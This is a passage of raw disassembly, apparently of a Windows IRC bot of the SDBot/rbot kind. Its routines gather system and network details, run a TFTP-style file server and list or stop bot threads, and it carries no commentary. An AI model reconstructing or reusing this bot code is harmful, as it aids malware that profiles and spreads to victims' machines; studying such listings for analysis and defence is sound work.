jmp loc_406E33 sub_406BAB endp ; =============== S U B R O U T I N E ======================================= sub_40A0F0 proc near ; CODE XREF: sub_401000+74p ; sub_406BAB+2E6Fp ... arg_0 = dword ptr 4 push esi push edi call dword_41705C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_47F8B8 push 32h push esi call sub_40BDE7 add esp, 18h mov eax, esi pop edi pop esi retn sub_40A0F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A143 proc near ; CODE XREF: sub_40A1F9+290p push ebx push esi push edi mov edi, 0F4240h loc_40A14B: ; CODE XREF: sub_40A143+2Fj ; sub_40A143+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_417040 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_40C810 mov esi, edx mov ebx, eax test esi, esi ja short loc_40A14B jb short loc_40A17A cmp ebx, edi ja short loc_40A14B loc_40A17A: ; CODE XREF: sub_40A143+31j push 0 push 64h push esi push ebx call sub_40C880 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_40A1ED jb short loc_40A199 cmp edi, 50h jnb short loc_40A19E loc_40A199: ; CODE XREF: sub_40A143+4Fj push 4Bh xor edx, edx pop eax loc_40A19E: ; CODE XREF: sub_40A143+54j test ecx, ecx ja short loc_40A1ED jb short loc_40A1A9 cmp edi, 47h jnb short loc_40A1AE loc_40A1A9: ; CODE XREF: sub_40A143+5Fj push 42h xor edx, edx pop eax loc_40A1AE: ; CODE XREF: sub_40A143+64j test ecx, ecx ja short loc_40A1ED jb short loc_40A1B9 cmp edi, 37h jnb short loc_40A1BE loc_40A1B9: ; CODE XREF: sub_40A143+6Fj push 32h xor edx, edx pop eax loc_40A1BE: ; CODE XREF: sub_40A143+74j test ecx, ecx ja short loc_40A1ED jb short loc_40A1C9 cmp edi, 26h jnb short loc_40A1CE loc_40A1C9: ; CODE XREF: sub_40A143+7Fj push 21h xor edx, edx pop eax loc_40A1CE: ; CODE XREF: sub_40A143+84j test ecx, ecx ja short loc_40A1ED jb short loc_40A1D9 cmp edi, 1Eh jnb short loc_40A1DE loc_40A1D9: ; CODE XREF: sub_40A143+8Fj push 19h xor edx, edx pop eax loc_40A1DE: ; CODE XREF: sub_40A143+94j test ecx, ecx ja short loc_40A1ED jb short loc_40A1E9 cmp edi, 0Ah jnb short loc_40A1ED loc_40A1E9: ; CODE XREF: sub_40A143+9Fj xor eax, eax xor edx, edx loc_40A1ED: ; CODE XREF: sub_40A143+4Dj ; sub_40A143+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_40A143 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1F9 proc near ; CODE XREF: sub_406BAB+3016p var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_422270 mov [ebp+var_CC], 94h call dword_417000 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40A280 cmp [ebp+var_C4], ebx jnz short loc_40A25C cmp [ebp+var_BC], 1 jnz short loc_40A246 mov [ebp+var_4], offset dword_41BF30 loc_40A246: ; CODE XREF: sub_40A1F9+44j cmp [ebp+var_BC], 2 jnz loc_40A2FB mov [ebp+var_4], offset dword_41BF2C jmp short loc_40A2CC ; --------------------------------------------------------------------------- loc_40A25C: ; CODE XREF: sub_40A1F9+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40A26E mov [ebp+var_4], offset dword_41BF28 jmp short loc_40A2C3 ; --------------------------------------------------------------------------- loc_40A26E: ; CODE XREF: sub_40A1F9+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40A2BC mov [ebp+var_4], offset dword_41BF24 jmp short loc_40A2C3 ; --------------------------------------------------------------------------- loc_40A280: ; CODE XREF: sub_40A1F9+33j cmp [ebp+var_C8], 5 jnz short loc_40A2BC cmp [ebp+var_C4], ebx jnz short loc_40A29A mov [ebp+var_4], offset dword_41BF20 jmp short loc_40A2C3 ; --------------------------------------------------------------------------- loc_40A29A: ; CODE XREF: sub_40A1F9+96j cmp [ebp+var_C4], 1 jnz short loc_40A2AC mov [ebp+var_4], offset dword_41BF1C jmp short loc_40A2C3 ; --------------------------------------------------------------------------- loc_40A2AC: ; CODE XREF: sub_40A1F9+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40A2C3 loc_40A2BC: ; CODE XREF: sub_40A1F9+7Cj ; sub_40A1F9+8Ej mov [ebp+var_4], offset dword_41BF14 loc_40A2C3: ; CODE XREF: sub_40A1F9+73j ; sub_40A1F9+85j ... cmp [ebp+var_BC], 2 jnz short loc_40A2FB loc_40A2CC: ; CODE XREF: sub_40A1F9+61j cmp [ebp+var_B8], bl jz short loc_40A2FB lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_40B0B3 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40A2FB: ; CODE XREF: sub_40A1F9+54j ; sub_40A1F9+D1j ... mov ax, word_41AF80 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_42B2D8 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_40A334 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40A334: ; CODE XREF: sub_40A1F9+12Cj push [ebp+arg_4] call sub_405752 pop ecx push eax call dword_42B410 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_42B390 ; gethostbyaddr cmp eax, ebx jz short loc_40A35D push dword ptr [eax] jmp short loc_40A362 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40A1F9+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40A362: ; CODE XREF: sub_40A1F9+162j lea eax, [ebp+var_3E4] push eax call sub_40B0B3 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_417080 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_4170FC ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_4170F8 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_4170F4 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_40D21A lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_403913 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40A0F0 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_405752 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_403804 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_403804 pop ecx pop ecx push eax call sub_40A143 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_40BDE7 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40A1F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AD proc near ; CODE XREF: sub_406BAB+24C0p ; sub_406BAB+3030p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_40B630 add esp, 0Ch cmp dword_42B4B0, 0 jnz short loc_40A521 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_42B2C0 ; InternetGetConnectedStateEx test eax, eax jnz short loc_40A502 lea eax, [ebp+var_8C] push offset dword_41DA78 push eax call sub_40B0B3 pop ecx pop ecx loc_40A502: ; CODE XREF: sub_40A4AD+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_40A51A push offset dword_41DA70 loc_40A510: ; CODE XREF: sub_40A4AD+72j push eax call sub_40B0B3 pop ecx pop ecx jmp short loc_40A540 ; --------------------------------------------------------------------------- loc_40A51A: ; CODE XREF: sub_40A4AD+5Cj push offset dword_41DA6C jmp short loc_40A510 ; --------------------------------------------------------------------------- loc_40A521: ; CODE XREF: sub_40A4AD+28j mov esi, offset off_41DA68 lea eax, [ebp+var_8] push esi push eax call sub_40B0B3 lea eax, [ebp+var_8C] push esi push eax call sub_40B0B3 add esp, 10h loc_40A540: ; CODE XREF: sub_40A4AD+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_405752 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_40BDE7 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40A4AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A573 proc near ; CODE XREF: sub_40A573:loc_40AA48p ; DATA XREF: sub_401141+104o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd movsw xor ebx, ebx xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx inc eax push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_42B450 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_40A636 push 190h call dword_417040 ; Sleep call dword_42B370 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_41DB1C push eax call sub_40B0B3 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_40A616 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 add esp, 14h loc_40A616: ; CODE XREF: sub_40A573+7Ej lea eax, [ebp+var_780] push eax call sub_403145 push [ebp+var_170] call sub_40AD6A pop ecx pop ecx push ebx call dword_417050 ; ExitThread loc_40A636: ; CODE XREF: sub_40A573+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_42CF6C[eax], edi lea eax, [ebp+var_44] push eax call sub_40B630 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_42B3D4 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_42B400 ; bind cmp eax, 0FFFFFFFFh jnz short loc_40A69B push 1388h call dword_417040 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_40AA48 ; --------------------------------------------------------------------------- loc_40A69B: ; CODE XREF: sub_40A573+10Dj lea eax, [ebp+var_378] push offset dword_41AD40 push eax call sub_40C7B8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_40A719 push 190h call dword_417040 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_41DAF4 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 lea eax, [ebp+var_780] push eax call sub_403145 push [ebp+var_170] call sub_40AD6A add esp, 28h push ebx call dword_417050 ; ExitThread loc_40A719: ; CODE XREF: sub_40A573+140j mov esi, 200h loc_40A71E: ; CODE XREF: sub_40A573+48Fj mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_40AA08 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_40B630 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_42B3BC ; select test eax, eax jle loc_40A9FC mov al, byte_422270 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_42B3AC ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_40B0B3 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_40A9E6 cmp [ebp+var_D7], 1 jnz loc_40A948 lea eax, [ebp+var_274] push eax call sub_40B5B0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_40B5B0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_40D450 add esp, 14h test eax, eax jnz loc_40A902 lea eax, [ebp+var_1C] push eax call sub_40B5B0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_40D450 add esp, 10h test eax, eax jnz loc_40A902 push ebx push ebx push [ebp+var_8] call sub_40D488 push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_40C410 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_42B434 ; sendto loc_40A8A6: ; CODE XREF: sub_40A573+46Ej lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_780] push offset dword_41DAD0 push eax call sub_40B0B3 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_40A8F0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_404555 add esp, 14h loc_40A8F0: ; CODE XREF: sub_40A573+358j lea eax, [ebp+var_780] push eax call sub_403145 pop ecx jmp loc_40A9FC ; --------------------------------------------------------------------------- loc_40A902: ; CODE XREF: sub_40A573+2B6j ; sub_40A573+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_41DABC push edi call dword_42B434 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_41DA94 push eax call sub_40B0B3 lea eax, [ebp+var_D8] push eax call sub_403145 add esp, 14h jmp loc_40A9FC ; --------------------------------------------------------------------------- loc_40A948: ; CODE XREF: sub_40A573+275j cmp [ebp+var_D7], 4 jnz loc_40A9E6 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40A97F inc al xor cl, cl mov [ebp+var_57D], bl jmp short loc_40A987 ; --------------------------------------------------------------------------- loc_40A97F: ; CODE XREF: sub_40A573+3FEj inc cl mov [ebp+var_57D], cl loc_40A987: ; CODE XREF: sub_40A573+40Aj mov [ebp+var_57E], al push ebx movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_40D488 push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_40C410 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_42B434 ; sendto cmp edi, ebx jnz short loc_40A9FC jmp loc_40A8A6 ; --------------------------------------------------------------------------- loc_40A9E6: ; CODE XREF: sub_40A573+268j ; sub_40A573+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_41DA88 push edi call dword_42B434 ; sendto loc_40A9FC: ; CODE XREF: sub_40A573+204j ; sub_40A573+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_40A71E loc_40AA08: ; CODE XREF: sub_40A573+1B4j push edi call dword_42B468 ; closesocket push [ebp+var_8] call sub_40C3BA mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40AA3C push [ebp+var_170] call sub_40AD6A pop ecx push ebx call dword_417050 ; ExitThread loc_40AA3C: ; CODE XREF: sub_40A573+4B4j push 3E8h call dword_417040 ; Sleep push esi loc_40AA48: ; CODE XREF: sub_40A573+123j call sub_40A573 pop edi pop esi pop ebx leave retn 4 sub_40A573 endp ; =============== S U B R O U T I N E ======================================= sub_40AA54 proc near ; CODE XREF: sub_401141+EDp ; sub_401141+210p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_42CD60 loc_40AA5C: ; CODE XREF: sub_40AA54+18j cmp byte ptr [eax], 0 jz short loc_40AA70 add eax, 234h inc edi cmp eax, offset dword_47F740 jl short loc_40AA5C jmp short loc_40AABB ; --------------------------------------------------------------------------- loc_40AA70: ; CODE XREF: sub_40AA54+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_42CD60[esi] push eax call sub_40B110 mov eax, [esp+14h+arg_4] and dword_42CF64[esi], 0 and dword_42CF68[esi], 0 mov dword_42CF60[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_42CF78[esi], 0 mov dword_42CF6C[esi], eax pop esi loc_40AABB: ; CODE XREF: sub_40AA54+1Aj mov eax, edi pop edi retn sub_40AA54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AABF proc near ; DATA XREF: sub_406BAB+30FAo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40AB11 push [ebp+var_14] call sub_40AD6A add esp, 14h push 0 call dword_417050 ; ExitThread pop edi pop esi sub_40AABF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB11 proc near ; CODE XREF: sub_40AABF+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h xor edi, edi mov esi, offset dword_42CD60 loc_40AB3B: ; CODE XREF: sub_40AB11+78j cmp byte ptr [esi], 0 jz short loc_40AB7C cmp [ebp+arg_C], 0 jnz short loc_40AB4F cmp dword ptr [esi+204h], 0 jnz short loc_40AB7C loc_40AB4F: ; CODE XREF: sub_40AB11+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_40B0B3 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 24h loc_40AB7C: ; CODE XREF: sub_40AB11+2Dj ; sub_40AB11+3Cj add esi, 234h inc edi cmp esi, offset dword_47F740 jl short loc_40AB3B pop edi pop esi leave retn sub_40AB11 endp ; =============== S U B R O U T I N E ======================================= sub_40AB8F proc near ; CODE XREF: sub_406BAB+2839p ; sub_40AC17+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40AC11 cmp esi, 258h jge short loc_40AC11 imul esi, 234h push edi push ebx lea edi, dword_42CF74[esi] push dword ptr [edi] call dword_417100 ; TerminateThread cmp [edi], ebx jz short loc_40ABC1 inc ebp loc_40ABC1: ; CODE XREF: sub_40AB8F+2Fj mov [edi], ebx lea edi, dword_42CF68[esi] mov dword_42CF60[esi], ebx mov dword_42CF64[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40ABE2 push eax call sub_405AA1 pop ecx loc_40ABE2: ; CODE XREF: sub_40AB8F+4Aj mov [edi], ebx lea edi, dword_42CF6C[esi] mov byte ptr dword_42CD60[esi], bl mov byte_42CF78[esi], bl push dword ptr [edi] call dword_42B468 ; closesocket lea esi, dword_42CF70[esi] mov [edi], ebx push dword ptr [esi] call dword_42B468 ; closesocket mov [esi], ebx pop edi loc_40AC11: ; CODE XREF: sub_40AB8F+Dj ; sub_40AB8F+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40AB8F endp ; =============== S U B R O U T I N E ======================================= sub_40AC17 proc near ; CODE XREF: sub_403B83+18p ; sub_4054C7:loc_4054EBp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_42CD60 loc_40AC23: ; CODE XREF: sub_40AC17+2Aj cmp byte ptr [esi], 0 jz short loc_40AC34 push edi call sub_40AB8F test eax, eax pop ecx jz short loc_40AC34 inc ebx loc_40AC34: ; CODE XREF: sub_40AC17+Fj ; sub_40AC17+1Aj add esi, 234h inc edi cmp esi, offset dword_47F740 jl short loc_40AC23 pop edi mov eax, ebx pop esi pop ebx retn sub_40AC17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC49 proc near ; CODE XREF: sub_40ACDC+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_42CF64 loc_40AC5D: ; CODE XREF: sub_40AC49+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40AC7F test edi, edi jle short loc_40AC71 cmp [esi], edi jz short loc_40AC71 cmp ebx, edi jnz short loc_40AC7F loc_40AC71: ; CODE XREF: sub_40AC49+1Ej ; sub_40AC49+22j push ebx call sub_40AB8F test eax, eax pop ecx jz short loc_40AC7F inc [ebp+var_4] loc_40AC7F: ; CODE XREF: sub_40AC49+1Aj ; sub_40AC49+26j ... add esi, 234h inc ebx cmp esi, offset dword_47F944 jl short loc_40AC5D mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40AC49 endp ; =============== S U B R O U T I N E ======================================= sub_40AC96 proc near ; CODE XREF: sub_4010CA+Bp ; sub_401141+2Cp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_42CF60 loc_40AC9D: ; CODE XREF: sub_40AC96+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40ACA6 inc eax loc_40ACA6: ; CODE XREF: sub_40AC96+Dj add ecx, 234h cmp ecx, offset dword_47F940 jl short loc_40AC9D retn sub_40AC96 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_406BAB+2D40p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_42CF60 push esi loc_40ACBF: ; CODE XREF: sub_40ACB5+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40ACD8 add ecx, 234h inc edx cmp ecx, offset dword_47F940 jl short loc_40ACBF pop esi retn ; --------------------------------------------------------------------------- loc_40ACD8: ; CODE XREF: sub_40ACB5+10j mov eax, edx pop esi retn sub_40ACB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACDC proc near ; CODE XREF: sub_406BAB+3278p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40ACF5 push [ebp+arg_1C] call sub_40C3AF pop ecx loc_40ACF5: ; CODE XREF: sub_40ACDC+Ej push eax push [ebp+arg_18] call sub_40AC49 pop ecx test eax, eax pop ecx jle short loc_40AD21 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_40B0B3 add esp, 14h jmp short loc_40AD3B ; --------------------------------------------------------------------------- loc_40AD21: ; CODE XREF: sub_40ACDC+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_40B0B3 add esp, 10h loc_40AD3B: ; CODE XREF: sub_40ACDC+43j cmp [ebp+arg_C], 0 jnz short loc_40AD5B push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_40AD5B: ; CODE XREF: sub_40ACDC+63j lea eax, [ebp+var_200] push eax call sub_403145 pop ecx leave retn sub_40ACDC endp ; =============== S U B R O U T I N E ======================================= sub_40AD6A proc near ; CODE XREF: sub_40154B+1ABp ; sub_401704+24Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_42CF74[eax], ecx mov dword_42CF60[eax], ecx mov dword_42CF64[eax], ecx mov dword_42CF68[eax], ecx mov dword_42CF6C[eax], ecx mov dword_42CF70[eax], ecx mov byte ptr dword_42CD60[eax], cl mov byte_42CF78[eax], cl retn sub_40AD6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADA7 proc near ; CODE XREF: sub_406BAB+3444p ; sub_40AECF+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40AE09 ; --------------------------------------------------------------------------- loc_40ADB3: ; CODE XREF: sub_40ADA7+66j cmp eax, 1 jnz short loc_40AE1A mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40AE1A cmp cl, 2Ah jz short loc_40ADF2 cmp cl, 3Fh jz short loc_40ADD7 cmp cl, 5Bh jz short loc_40ADDC xor eax, eax cmp cl, dl setz al loc_40ADD7: ; CODE XREF: sub_40ADA7+22j inc [ebp+arg_4] jmp short loc_40AE05 ; --------------------------------------------------------------------------- loc_40ADDC: ; CODE XREF: sub_40ADA7+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40AE3B mov esi, [ebp+arg_0] jmp short loc_40AE03 ; --------------------------------------------------------------------------- loc_40ADF2: ; CODE XREF: sub_40ADA7+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call 